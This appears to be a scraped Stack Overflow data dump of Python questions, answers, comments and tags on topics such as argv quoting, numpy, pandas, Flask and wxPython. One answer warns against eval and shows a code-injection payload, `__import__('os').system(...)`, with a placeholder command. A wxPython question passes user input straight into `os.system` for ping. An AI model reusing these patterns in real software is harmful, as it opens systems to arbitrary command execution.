tagged with: command-line-arguments
has comment: http://stackoverflow.com/comment/81588138
tagged with: shell
has body: Is this a bug? #!/usr/bin/env python3.6 # filename: tmp.py import sys print(sys.argv) Invoked: python tmp.py find . -name '*.py' Actual output: ['tmp.py', 'find', '.', '-name', '*.py'] Expected output: ['tmp.py', 'find', '.', '-name', "'*.py'"] Note the lack of quotations within the actual output.
has comment: http://stackoverflow.com/comment/81587892
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81587679
has answer: http://stackoverflow.com/a/78787657
possible better answer: http://stackoverflow.com/a/47318213
has comment: http://stackoverflow.com/comment/81587612
has comment: http://stackoverflow.com/comment/81587644
has comment: http://stackoverflow.com/comment/81587570
downvote count: 2
has answer: http://stackoverflow.com/a/47318213
has comment: http://stackoverflow.com/comment/81587658
has comment: http://stackoverflow.com/comment/81587668
has comment: http://stackoverflow.com/comment/81587594

http://stackoverflow.com/comment/100170535
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47284758
has text: Also here: https://stackoverflow.com/questions/55970072/python-library-functions-taking-no-keyword-arguments
score: 0

http://stackoverflow.com/comment/81692957
type: Comment
type: AnswerComment
has text: `'i,ij->i'`, forces the summation to be over the axis labeled `'j'`, after the multiplication. So this operation is not, strictly speaking, correct Einstein notation, in my understanding. The reason for allowing this alternate notation is probably flexibility, if I had to guess. It allows expressing not just inner/outer/matrix products, but more general operations, including matrix trace, element accumulation, tiling operations, and things similar to Kronecker products.
comment on: http://stackoverflow.com/a/47368237
score: 0

http://stackoverflow.com/comment/81580718
comment on: http://stackoverflow.com/a/47314816
has text: Yeah its interesting how much slower `triu_indices` is than the mask. Always appreciate your answers!
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81712576
comment on: http://stackoverflow.com/q/47377581
type: Comment
has text: If the time stamp is in milliseconds, this approach would be too computationally and memory expensive
score: 0
type: QuestionComment

http://stackoverflow.com/q/47275437
upvote count: 1
has comment: http://stackoverflow.com/comment/81502292
linked to: http://stackoverflow.com/q/15112125
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81502102
tagged with: while-loop
duplicate of: http://stackoverflow.com/q/1504717
accepted answer: http://stackoverflow.com/a/47275493
score: 1
duplicate of: http://stackoverflow.com/q/20002503
has comment: http://stackoverflow.com/comment/81502174
has answer: http://stackoverflow.com/a/47275493
tagged with: python
has comment: http://stackoverflow.com/comment/81502161
linked to: http://stackoverflow.com/q/1504717
type: Question
has title: Why is the while loop returning false positives?
duplicate of: http://stackoverflow.com/q/15112125
has body: I'm trying out Python 3 and been doing a practice with a while loop but the loop doesn't end when the variable is set to another value different from the default Y #!/usr/bin/python3 elements = []; copy = []; rot=0; op='y'; ap='y'; while op is 'y' or 'Y': elements = []; a = int(input("How many elements? ")); for i in range(a): elements.append(input("Enter element " + str(i+1) + " ")); while ap is 'y' or 'Y': rot = int(input("How many element to rotate? ")); print(elements); copy = elements[-rot:] + elements[:-rot]; elements = copy; print(elements); ap = input("Rotate again? "); op = input("Create a new rotatrix? ");
answer count: 1
downvote count: 0

http://stackoverflow.com/q/47257016
upvote count: 2
type: UnansweredQuestion
has title: How would you make Flask(Python) recognize index.html for ALL static folders by default?
downvote count: 0
tagged with: flask
score: 2
answer count: 1
tagged with: python
has answer: http://stackoverflow.com/a/47257645
favorite count: 0
type: Question
has body: I want to make flask serve index.html for ALL folders in my static directory. tree displays this: static/ ├── contact │ └── index.html ├── index.html └── notoken └── index.html I want /notoken or /contact to display what's in /notoken/index.html and /contact/index.html. P.S: I DO NOT want to serve them using render_template or send_from_directory or anything like that because I don't want to do that for EVERY single file/folder

http://stackoverflow.com/q/47307639
answer count: 1
tagged with: selenium
has comment: http://stackoverflow.com/comment/81595557
has comment: http://stackoverflow.com/comment/81565551
has body: It's a button tag and I'm trying with below code: element = self.driver.find_element_by_xpath("//*[text()='Browse']") element.send_keys('//Users//test//Desktop//Auto//AutomationDownloads//IonicSamlAssertion.xml')
type: Question
tagged with: xpath
has comment: http://stackoverflow.com/comment/81565649
has title: How to upload a file using Selenium in Python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81565835
tagged with: python
has answer: http://stackoverflow.com/a/47309107
score: 0
has comment: http://stackoverflow.com/comment/81568757

http://stackoverflow.com/q/47252493
has comment: http://stackoverflow.com/comment/81455216
has title: How to have best use of Python lists?
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47252510
downvote count: 0
has comment: http://stackoverflow.com/comment/81455410
tagged with: python
has answer: http://stackoverflow.com/a/47252510
has comment: http://stackoverflow.com/comment/81455167
type: AnsweredQuestion
score: 3
tagged with: list
has body: My question is te following: I'm new to Python programming and I'm a little confused about the correct use of lists. When I want for example to create a list of 10 elements I am doing something like: list = [None for x in range(10)] And when I have something to put on it, I do: list[lastPosition] = data But after some research I noticed that this use for lists is not efficient or recommended. But how other way could a list be inicialized before I have all the data? My idea is to have a list (specially something like Java's Collections) inicialized and as the data comes I fill it. I hope my question is clear enough.
upvote count: 3
answer count: 1

http://stackoverflow.com/comment/81401842
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47225803
has text: So why does `np.arange(1, 100000001, dtype=np.int32).sum()` give the correct 64-bit result? (At least, it does on my machine: macOS, Python 3.6, NumPy 1.13.3)
score: 1

http://stackoverflow.com/a/47239644
type: Answer
accepted answer of: http://stackoverflow.com/q/47239393
score: 2
answers question: http://stackoverflow.com/q/47239393
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81429638
has body: You can use string literal concatenation: Multiple adjacent string literals (delimited by whitespace), possibly using different quoting conventions, are allowed, and their meaning is the same as their concatenation. Thus, "hello" 'world' is equivalent to "helloworld". In your case, something like this: copy_sql = ("COPY {0} FROM 's3://{1}/{2}' " "CREDENTIALS 'aws_access_key_id={3};aws_secret_access_key={4}' {5};" ).format(table_name,bucket,key, aws_access_key_id,aws_secret_access_key,options) Note the extra parentheses to make it parse correctly. As long as a line ending is inside at least one pair of parenthes, Python will always treat it as a line continuation, without the need for backslashes.

http://stackoverflow.com/comment/81458173
comment on: http://stackoverflow.com/q/47253323
type: Comment
type: QuestionComment
score: 0
has text: @BryanOakley first of all, its obvious that i do imports and window, that's standard, secondly, I messed up some of the variables, my bad, just tell me instead of linking an unhelpful article. I remember now why i stopped using stackoverflow in the first place.

http://stackoverflow.com/q/47320498
tagged with: anaconda
has body: When I type conda list into Windows command I can see pyswarm 0.6 pip but when I search for pyswarm in my root environment it doesn't show up. Assuming that only packages in my anaconda list can be imported in PyCharm (false, see comment), I want pyswarm to show up in my list in root (3.6) I have tried (pip uninstall pyswarm after each failed attempt) pip install -i https://pypi.anaconda.org/pypi/simple pyswarm (from here) pip install --upgrade pyswarm (from here) activate root (enter) --- pip install --upgrade swarm My fix was to just use Jupyter copy the pso.py library into my PyCharm project Thoughts: The first install attempt is for a 2.7 package. My root is 3.6 There is a Git repo, but I believe this is a more appropriate platform for this Q
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47320963
score: 0
tagged with: installation
answer count: 1
has title: 'conda list' shows package but anaconda navigator does not
type: Question
has comment: http://stackoverflow.com/comment/81592348

http://stackoverflow.com/q/47339094
has comment: http://stackoverflow.com/comment/81630489
has comment: http://stackoverflow.com/comment/81630434
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81630425
tagged with: python
has title: Don't understand IndexError from for loop
score: -1
has body: So I've got this code for a school project (which explains the variable names) but when I get to the for loop at the bottom it says the list index is out of range. It is supposed to input a username and then check it before asking for a password. I've tried to figure out what is wrong but nothing works. def passwordSystem(): #TASK ONE username_array = [] password_array = [] for i in range (1, 30): username_to_be_entered = str(input("Enter a username")) acceptable_password = False while not acceptable_password: password_to_be_entered = str(input("Enter a password between 6 and 12 characters")) if len(password_to_be_entered) &gt; 12 or len(password_to_be_entered) &lt; 6: print ("Your password was not between 6 and 12 characters") else: acceptable_password = True print ("Password accepted") print ("Your username is:" ,username_to_be_entered) print ("Your password is:" ,password_to_be_entered) #TASK TWO username_accepted = False while not username_accepted: username_to_be_checked = str(input("Please enter your username")) for i in range (1, 30): if username_array[i] == username_to_be_checked: print ("Username accepted") username_accepted = True
upvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81630471
has answer: http://stackoverflow.com/a/47339184
answer count: 1

http://stackoverflow.com/comment/81717029
comment on: http://stackoverflow.com/a/47382072
type: Comment
score: 0
type: AnswerComment
has text: Thanks, but I've tried this before and I always get: ' KeyError: 'tag' '

http://stackoverflow.com/a/47322193
downvote count: 0
has body: i guess you may found this useful to understand.. import pandas as pd from sklearn.cross_validation import train_test_split from sklearn.linear_model import LinearRegression #importing dataset dataset = pd.read_csv('Salary_Data.csv') x = dataset.iloc[:, :-1].values y = dataset.iloc[:, 1].values #spliting the dataset into training and test set x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=1/3, random_state=0)
answers question: http://stackoverflow.com/q/47321709
has comment: http://stackoverflow.com/comment/81596146
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47321709
has comment: http://stackoverflow.com/comment/81595531
type: Answer
score: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81638260

http://stackoverflow.com/comment/81434162
type: Comment
comment on: http://stackoverflow.com/q/47241845
has text: What is the question?
type: QuestionComment
score: 2

http://stackoverflow.com/q/47276045
answer count: 1
tagged with: chainer
accepted answer: http://stackoverflow.com/a/47276097
has comment: http://stackoverflow.com/comment/116623193
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47276097
duplicate of: http://stackoverflow.com/q/5033727
tagged with: python
has body: I am reading Chainer source code and noticed at https://github.com/chainer/chainer/blob/master/chainer/init.py#L7 from chainer import configuration # NOQA from chainer import cuda # NOQA from chainer import dataset # NOQA from chainer import datasets # NOQA What does #NOQA mean? Thanks
has comment: http://stackoverflow.com/comment/84048750
linked to: http://stackoverflow.com/q/45346575
type: AnsweredQuestion
score: 0
has title: What does "#NOQA" mean inside `__init__.py` file in Chainer library?
upvote count: 2
linked to: http://stackoverflow.com/q/5033727
downvote count: 2

http://stackoverflow.com/q/47299339
type: UnansweredQuestion
answer count: 1
tagged with: tflearn
score: 0
has answer: http://stackoverflow.com/a/47303343
tagged with: python
has title: How do I correct the following error code: ValueError: Cannot feed value of shape (64, 15) for Tensor 'InputData/X:0', which has shape '(?, 16, 1)'
tagged with: tensorflow
type: Question
has body: I'm trying to use an LSTM Neural Network to perform a prediction. The data set has 16 X values to every Y value. As far as I can tell there is a problem with the shapes of the train X &amp; Y arrays or the test X &amp; Y arrays or both. I've tried reshaping, it appears my adjustments are not correct. Below is the code along the with output from Jupyter Notebook. Thank you in advance for your insights. from __future__ import division, print_function, absolute_import #import pandas as pd import tflearn import numpy as np import math import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt import tensorflow as tf def myRNN(): tf.reset_default_graph() # Network building net = tflearn.input_data(shape=[None, 16, 1]) net = tflearn.lstm(net, 32, dropout=0.8,bias=True) net = tflearn.fully_connected(net, 1, activation='relu') net = tflearn.regression(net, optimizer='adam', loss='mean_square', learning_rate=0.003) #Gather the Training Data csvData = np.genfromtxt('LabelCall5Data.csv', delimiter=',') trainX = csvData[0:3360,0:15] trainY = csvData[0:3360,16] #Transpose the input Data trainX = np.reshape(trainX, (-1, 16, 1)) trainY = np.reshape(trainY, (-1, 1)) print('trainX Shape: ', trainX.shape) print('trainY Shape: ', trainY.shape) #Gather the Testing Data testX = csvData[3361:,0:15] testY = csvData[3361:,16] print('testY Shape: ', testX.shape) print('testY Shape: ', testY.shape) # Training model = tflearn.DNN(net) model.fit(trainX, trainY, n_epoch=100, validation_set=(testX, testY), show_metric=True) # Predict the future values predictY = model.predict(testX) print("---------TEST ERROR-----------") expected = np.array(testY).flatten() predicted = np.array(predictY).flatten() error = sum(((expected - predicted) **2)/len(expected)) print(error)`enter code here` The output is below. Training Step: 49 | total loss: 24915.56836 | time: 0.557s | Adam | epoch: 001 | loss: 24915.56836 - binary_acc: 0.0000 -- iter: 3136/3150 -------------------------------------------…

shell
tags question: http://stackoverflow.com/q/47278020
tags question: http://stackoverflow.com/q/47302785
type: Tag
tag name: shell
tags question: http://stackoverflow.com/q/47337079
tags question: http://stackoverflow.com/q/47349960
tags question: http://stackoverflow.com/q/47326257
tags question: http://stackoverflow.com/q/47318189
tags question: http://stackoverflow.com/q/47381186

http://stackoverflow.com/q/47309913
tagged with: python
has comment: http://stackoverflow.com/comment/82011837
has title: ROS python Error "The manifest (with format version 2) must not contain the following tags: run_depend"
score: 6
upvote count: 6
has answer: http://stackoverflow.com/a/47527824
has body: I have been following the book "Programming Robots with ROS: A Practical Introduction to the Robot Operating System" In the "Defining a New Message" part of the book we create a new message definition Example 3-3. Complex.msg float32 real float32 imaginary so we require to modify the package.xml and add the following lines: <build_depend>message_generation</build_depend> <run_depend>message_runtime</run_depend> but when I run the catkin_make in the catkin_ws directory I get the following error Error(s) in /home/gtkratosman-lap/catkin_ws/src/basic/package.xml: - The manifest (with format version 2) must not contain the following tags: run_depend My version: ii python-rospkg 1.1.4-100 all ROS package library ii python-rospkg-modules 1.1.4-1 all ROS package library Here is the full package.xml file <?xml version="1.0"?> basic 0.0.0 The basic package gtkratosman- lap TODO <buildtool_depend>catkin</buildtool_depend> <build_depend>rospy</build_depend> <run_depend>message_generation</run_depend> <run_depend>message_runtime</run_depend> <build_export_depend>rospy</build_export_depend> <exec_depend>rospy</exec_depend>
tagged with: rospy
tagged with: ros
type: AnsweredQuestion
answer count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/47310282
favorite count: 0
has answer: http://stackoverflow.com/a/47310282
type: Question
possible better answer: http://stackoverflow.com/a/47527824
has comment: http://stackoverflow.com/comment/81570113

http://stackoverflow.com/comment/81623445
comment on: http://stackoverflow.com/q/47335641
score: 1
type: Comment
type: QuestionComment
has text: FWIW, there's nothing wrong with asking a question that gets closed as a dupe (provided it's not a really obvious dupe & you've done a search beforehand to find an existing question that addresses your problem). We close such questions because we don't want the answers to be scattered all over the place. It's much better if most of the relevant answers are in one place where people can easily compare and contrast them, and where those answers can be voted on as a group.

http://stackoverflow.com/q/47348982
duplicate of: http://stackoverflow.com/q/40514139
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81650250
has comment: http://stackoverflow.com/comment/81649775
has answer: http://stackoverflow.com/a/47349383
score: -2
has comment: http://stackoverflow.com/comment/81649843
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81650008
has comment: http://stackoverflow.com/comment/81649819
linked to: http://stackoverflow.com/q/40514139
answer count: 2
has body: I want to check if a certain number exists in a nested list Slist = [[[10, 20], [30, 40]], [[50, 60], [70, 80]]] def ASearch(t, L): if t==L: return True else: return ASearch(t, L[0]) or ASearch(t, L[1]) ASearch(15,Slist) What is the problem? Update: The OP meant to post this: Slist = [[[10, 20], [30, 40]], [[50, 60], [70, 80]]] def ASearch(t, L): if t==L: return True return ASearch(t, L[0]) or ASearch(t, L[1]) print(ASearch(15, Slist)) print(ASearch(50, Slist)) Expected output: False True Actual output: TypeError: 'int' object is not subscriptable
has title: Searching a nested list with recursion
upvote count: 0
possible better answer: http://stackoverflow.com/a/47349383
downvote count: 2
accepted answer: http://stackoverflow.com/a/47349120
tagged with: python
has answer: http://stackoverflow.com/a/47349120

http://stackoverflow.com/comment/81638393
has text: `normalisedVals = 254*(n-np.nanmax(vals))/(np.nanmax(vals)- np.nanmin(vals))` seemed to work. But, I'm unable to save any outputs so far. I am using a jupyter notebook currently, and receive this `ValueError: Invalid file object: <_io.BufferedReader name=53>` every time. Looking into it.
type: AnswerComment
comment on: http://stackoverflow.com/a/47342003
score: 0
type: Comment

http://stackoverflow.com/q/47363751
has answer: http://stackoverflow.com/a/47363939
tagged with: python-3.x
has body: A python internals inquiry. Can you gurus please help me understand why the following code leads to a "Fatal python error" rather than nicely catching over the recursion limit overflow? def flowfunc(x): try: if x &lt; 0: flowfunc(x + 3) flowfunc(x + 5) else: flowfunc(x - 1) except: print("exception at: x = ", x) Call it with e.g.: flowfunc(0) and all breaks loss with exception at: x = -1 Fatal Python error: Cannot recover from stack overflow. ... ... [threads data...] Seems like it all depends on the 2nd recursive call. The following code will behave nicely: def flowfunc2(x): try: if x &lt; 0: flowfunc2(x + 3) # flowfunc2(x + 5) else: flowfunc2(x - 1) except: print("exception at: x = ", x) with flowfunc2(0) returning (value may change depending on available stack depth): exception at: x = -1 I'm on python 3.6. Your insight will be appreciated.
type: Question
score: 0
answer count: 2
tagged with: python
type: UnansweredQuestion
tagged with: recursion
has answer: http://stackoverflow.com/a/47363968
has title: Fatal python error involving recursion call

http://stackoverflow.com/comment/81500566
score: 0
type: QuestionComment
has text: @AK47 Yes, you are correct, the power is set by setting the value to 1 in the value file.
type: Comment
comment on: http://stackoverflow.com/q/47274486

http://stackoverflow.com/q/47372459
favorite count: 0
has comment: http://stackoverflow.com/comment/81698935
has answer: http://stackoverflow.com/a/47382270
type: Question
accepted answer: http://stackoverflow.com/a/47382270
has answer: http://stackoverflow.com/a/47397752
has body: I am using FontAwesome in my chart, and each data point is a symbol in FontAwesome font, displaying like an icon. Therefore, in the legend, I would like to use text (symbols in FontAwesome) to describe the items. The code I am using is like: from matplotlib.patches import Patch import matplotlib.pyplot as plt import matplotlib.font_manager as fm ax = plt.gca() ax.axis([0, 3, 0, 3]) prop = fm.FontProperties(fname='FontAwesome.otf', size=18) ax.text(x=0, y=0, s='\uf1c7', color='r', fontproperties=prop) ax.text(x=2, y=0, s='\uf050', color='g', fontproperties=prop) plt.legend(handles=[Patch(color='r', label='label1'), Patch(color='g', label='label2')]) And the plot is like: So what I want to do is to replace the color bar in the legend to the same icons as it in the plot. The handle I am using is a list of Patches. But I found that it's hard to add text into Patch. I found there's a great solution to add picture into legend here: Insert image in matplotlib legend I have tried using TextArea replacing BboxImage in that answer, but it doesn't work, and TextArea doesn't support fontproperties like axis.text. So is there a way I can use text instead of markers in the legend?
linked to: http://stackoverflow.com/q/43585333
has title: Use text but not marker in matplotlib legend
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77688502
answer count: 3
tagged with: visualization
downvote count: 0
linked to: http://stackoverflow.com/q/26029592
upvote count: 7
score: 7
tagged with: matplotlib
linked to: http://stackoverflow.com/q/27174425
tagged with: python
possible better answer: http://stackoverflow.com/a/47397752

http://stackoverflow.com/a/47306955
type: Answer
upvote count: 4
score: 4
accepted answer of: http://stackoverflow.com/q/47306581
has body: This line eval(data_string, type('Dummy', (dict,), dict(__getitem__ = lambda s, n: n))()) is a very ugly way to do the same as class Dummy(dict): def __getitem__(self, key): return key globals_obj = Dummy() eval(data_string, globals_obj) and then this globals_obj is passed into the globals parameter of eval. The globals must be a mapping object that maps names to values. Now when the eval encounters a variable being used, it will consult this mapping object, as if by globals_obj['variable_name']. The __getitem__ method simply returns the given key as a value, therefore globals_obj[42] -> 42, globals_obj[None]-> None and so forth. This all is very insecure - if the server wants to be malicious the api couldreturn code like __import__('os').system('execute an evil command'). If this is JavaScript but not JSON, you might be able to use the demjson module in strict=False mode. It is certainly better than using eval and might be better than using YAML as YAML parsers might be insecure. And these bugs might be easily remotely exploitable. &gt;&gt;&gt; import demjson &gt;&gt;&gt; data_string = """ ... { ... server_id: 1, ... server_status: 200, ... client: "client2", ... content: [ {id: 0, info: "info0"}, {id: 2, info: "info2"} ] ... } ... """ &gt;&gt;&gt; demjson.decode(data_string, strict=False) {'server_id': 1, 'server_status': 200, 'client': 'client2', 'content': [{'id': 0, 'info': 'info0'}, {'id': 2, 'info': 'info2'}]}
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47306581

http://stackoverflow.com/comment/82641893
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47223944
has text: Your quatris.py runs without errors doesn't it?

http://stackoverflow.com/q/47289884
tagged with: python-imaging-library
tagged with: pyqt
score: 7
tagged with: pyqt5
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/1733096
has body: I would like to convert a image from QImage or Qpixmap class to PIL Image. I found this: Convert PyQt to PIL image But it seems to doesn't work in Python3. Is the way to implement this to Pyhton3 or do it more simply using new approaches exist?
has title: How to convert QImage(QPixmap) to PIL Image in Python 3?
accepted answer: http://stackoverflow.com/a/47290541
tagged with: pyqt4
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/47290541
tagged with: python
upvote count: 7
type: AnsweredQuestion

http://stackoverflow.com/comment/81569635
comment on: http://stackoverflow.com/a/47309586
type: Comment
has text: I found a spelling error in my column names. Thanks. I now receive a value error, i'm assuming it's because I have two attributes with data type of 'object'. How can I rectify this?
type: AnswerComment
score: 0

http://stackoverflow.com/q/47319404
upvote count: 2
has comment: http://stackoverflow.com/comment/81614726
has comment: http://stackoverflow.com/comment/81590050
has comment: http://stackoverflow.com/comment/81590223
tagged with: arrays
has comment: http://stackoverflow.com/comment/81590234
has comment: http://stackoverflow.com/comment/81590193
has title: How to check arrays with numpy python
tagged with: python
has comment: http://stackoverflow.com/comment/81590013
accepted answer: http://stackoverflow.com/a/47319448
has comment: http://stackoverflow.com/comment/81590045
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81590310
has comment: http://stackoverflow.com/comment/81590069
has answer: http://stackoverflow.com/a/47319463
has comment: http://stackoverflow.com/comment/81590076
has body: I have two arrays and i want to check how many integers are the same in the different arrays. The problem i'm having is that it only shows me how many are the same when they are in the same position. Both arrays have 15 numbers in them. Example: import numpy as np a = np.array([1, 4, 5, 7, 9, 14, 15, 17, 18, 19, 21, 22, 23, 25, 26]) b = np.array([8, 28, 12, 3, 24, 16, 23, 19, 14, 2, 11, 29, 27, 6, 13]) print(np.count_nonzero(a==b)) This prints 0 even though there's clearly integers that are the same. How can i make this print how many integers have the same value?
has comment: http://stackoverflow.com/comment/81590409
downvote count: 0
has comment: http://stackoverflow.com/comment/81590213
has comment: http://stackoverflow.com/comment/81590240
has comment: http://stackoverflow.com/comment/81590102
favorite count: 0
type: Question
tagged with: numpy
possible better answer: http://stackoverflow.com/a/47319463
has answer: http://stackoverflow.com/a/47319448
answer count: 2

http://stackoverflow.com/comment/81700647
has text: @xaav, where will I get to download the file
comment on: http://stackoverflow.com/q/47373827
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/47239929
type: Answer
has body: To scroll to the bottom of a page using Selenium you can use : Python driver.execute_script("window.scrollTo(0, document.body.scrollHeight);") Java ((JavascriptExecutor)driver).executeScript("window.scrollTo(0, document.body.scrollHeight);");
score: 0
answers question: http://stackoverflow.com/q/47223844

http://stackoverflow.com/q/47334524
has answer: http://stackoverflow.com/a/60656424
tagged with: pandas
downvote count: 0
has answer: http://stackoverflow.com/a/47334908
tagged with: machine-learning
score: 1
upvote count: 1
tagged with: scikit-learn
has title: using DictVectorizer to convert strings
favorite count: 0
has answer: http://stackoverflow.com/a/47334861
type: Question
has answer: http://stackoverflow.com/a/56451760
has body: satisfaction_level last_evaluation number_project average_montly_hours time_spend_company Work_accident left promotion_last_5years dept salary 0.38 0.53 2 157 3 0 1 0 TECHNICAL low 0.8 0.86 5 262 6 0 1 0 HR medium 0.11 0.88 7 272 4 0 1 0 HR medium 0.72 0.87 5 223 5 0 1 0 FINANCE low 0.37 0.52 2 159 3 0 1 0 MARKETING low 0.41 0.5 2 153 3 0 1 0 TECHNICAL low 0.1 0.77 6 247 4 0 1 0 HR low 0.92 0.85 5 259 5 0 1 0 FINANCE low 0.89 1 5 224 5 0 1 0 HR low I used the above data and tried to convert C using DictVectorizer. Code is given below import pandas as pd from sklearn.feature_extraction import DictVectorizer dv=DictVectorizer() hr_data=pd.read_csv(r"C:\Users\IBM_ADMIN\Desktop\data\HR_comma_sep.csv") dv.fit_transform(X=hr_data.dept) But it threw error: 'str' object has no attribute 'items'
answer count: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/56451314
tagged with: python
tagged with: dictvectorizer

http://stackoverflow.com/q/47369769
has answer: http://stackoverflow.com/a/47369808
type: UnansweredQuestion
has body: How can I create a python statement for a conditional I have a dataframe like Day Weather Indicator 1 Sunny No 2 Sunny No 3 Dark No 7 Dark No How can I create an conditional that lets me know if day=7 then create a new column Day Weather Indicator 1 Sunny No 2 Sunny No 3 Dark No 7 Dark Yes
downvote count: 0
upvote count: 1
has title: how to create a conditional column in python
tagged with: pandas
score: 1
tagged with: python
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47369797
tagged with: numpy
answer count: 2

http://stackoverflow.com/q/47258135
tagged with: python
has answer: http://stackoverflow.com/a/65552916
has title: Convert Excel equation to Python equation for 2d list
tagged with: python-2.7
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/81467169
has answer: http://stackoverflow.com/a/77402267
has body: I need to convert a string of Excel equation to a python code so it can bracket into a 2d list and give me the answer. In this scenario, the columns are named using a letter (A to Z) and rows are named (1 to 26). So, for example, what I have is: list = [[1,1], [1,1]] the string is: my_str = "=A2 + 1" and I need to convert it to: list[1][0] + 1 or another example: my_str = "=B2 + A2" convert to: list[1][1] + list[1][0] Note that because of the way columns and rows are named, I need to switch the letter and the number, so A2 would be 2A and then [1][0]. I have spent hours trying to figure this out with no luck. any help would be appreciated. Thanks!
tagged with: excel
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81466921

http://stackoverflow.com/comment/81529122
type: Comment
has text: @jezrael LOL:-) take it easy , this site is just for fun to me :-)
type: AnswerComment
comment on: http://stackoverflow.com/a/47289121
score: 0

http://stackoverflow.com/comment/81404310
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/47226414
has text: The facecolor setting has no effect. https://imgur.com/a/m8wnI. It's a white chart surrounded by black.
type: Comment

http://stackoverflow.com/q/47256635
type: Question
tagged with: python-3.x
answer count: 2
tagged with: wxpython
accepted answer: http://stackoverflow.com/a/47261416
tagged with: python
has answer: http://stackoverflow.com/a/47261416
has title: Redirect sys.stdout from ping results to a wx.TextCtrl widget
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/47278582
has answer: http://stackoverflow.com/a/47278582
has body: I'm trying to redirect the sys.stdout stream to a wx.TextCtrl widget. In this code, i used ping but how to redirect results to wx.textctrl or statictext widgets. I can send variable from my input to wx.statictext but not able to get the stdout from ping results. hope someone here can help. I'm using python 3.6.0 with wx 2.8.12.1 import wx import os class RandomPanel(wx.Panel): def __init__(self, parent, color): wx.Panel.__init__(self, parent) self.SetBackgroundColour(color) class MainPanel(wx.Panel): def __init__(self, parent): wx.Panel.__init__(self, parent) topSplitter = wx.SplitterWindow(self) vSplitter = wx.SplitterWindow(topSplitter) panelOne = RandomPanel(vSplitter, "white") self.txt = wx.TextCtrl(panelOne, style=wx.TE_PROCESS_ENTER, pos=(7, 8), size=(330, 30)) self.txt.SetFocus() self.txt.Bind(wx.EVT_TEXT_ENTER, self.ping) panelTwo = RandomPanel(vSplitter, "white") vSplitter.SplitVertically(panelOne, panelTwo) vSplitter.SetSashGravity(0.5) panelThree = RandomPanel(topSplitter, "black") topSplitter.SplitHorizontally(vSplitter, panelThree) topSplitter.SetSashGravity(0.5) self.term = wx.StaticText(panelThree, -1, '', pos=(6, 100)) self.term.SetForegroundColour((255, 255, 255)) #set font color self.term.SetBackgroundColour((0, 0, 0)) #set background color sizer = wx.BoxSizer(wx.VERTICAL) sizer.Add(topSplitter, 1, wx.EXPAND) self.SetSizer(sizer) def ping(self, event): put = self.txt.GetValue() self.p = os.system("ping -n 1 "+put) self.term.SetLabel(put) self.p.AppendText('&gt;&gt;&gt; ') self.p.AppendText(event) class MainFrame(wx.Frame): def __init__(self): wx.Frame.__init__(self, None, title="ping tool", size=(800, 600)) panel = MainPanel(self) self.Show() if __name__ == "__main__": app = wx.App(False) frame = MainFrame() app.MainLoop()

http://stackoverflow.com/q/47317238
has comment: http://stackoverflow.com/comment/81585722
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47317396
tagged with: python
downvote count: 1
has body: I was wondering how do I get some physical constants from scipy.constants in cgs unit. for example: if I want thomson cross section constant from scipy I do, constants.value(u'Thomson cross section') 6.6524587158e-29 But this is built in SI unit. Also it does not show me the unit that comes with it. I want to import it in cgs: Is there any command in scipy that will allow me select the unit as well? Maybe something like the following: constants.value(u'Thomson cross section').in_units_of(cm**2) Your suggestion is appreciated.
favorite count: 0
answer count: 1
score: 1
has title: how to get physical constant in scipy in cgs unit?
tagged with: scipy
tagged with: constants
type: Question

flask-security
tags question: http://stackoverflow.com/q/47310702
type: Tag
tag name: flask-security
tags question: http://stackoverflow.com/q/47317722

http://stackoverflow.com/comment/81586425
has text: Using dictionary would be the best practice
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/47317493

http://stackoverflow.com/q/47320085
has comment: http://stackoverflow.com/comment/81591694
has comment: http://stackoverflow.com/comment/81591675
type: AnsweredQuestion
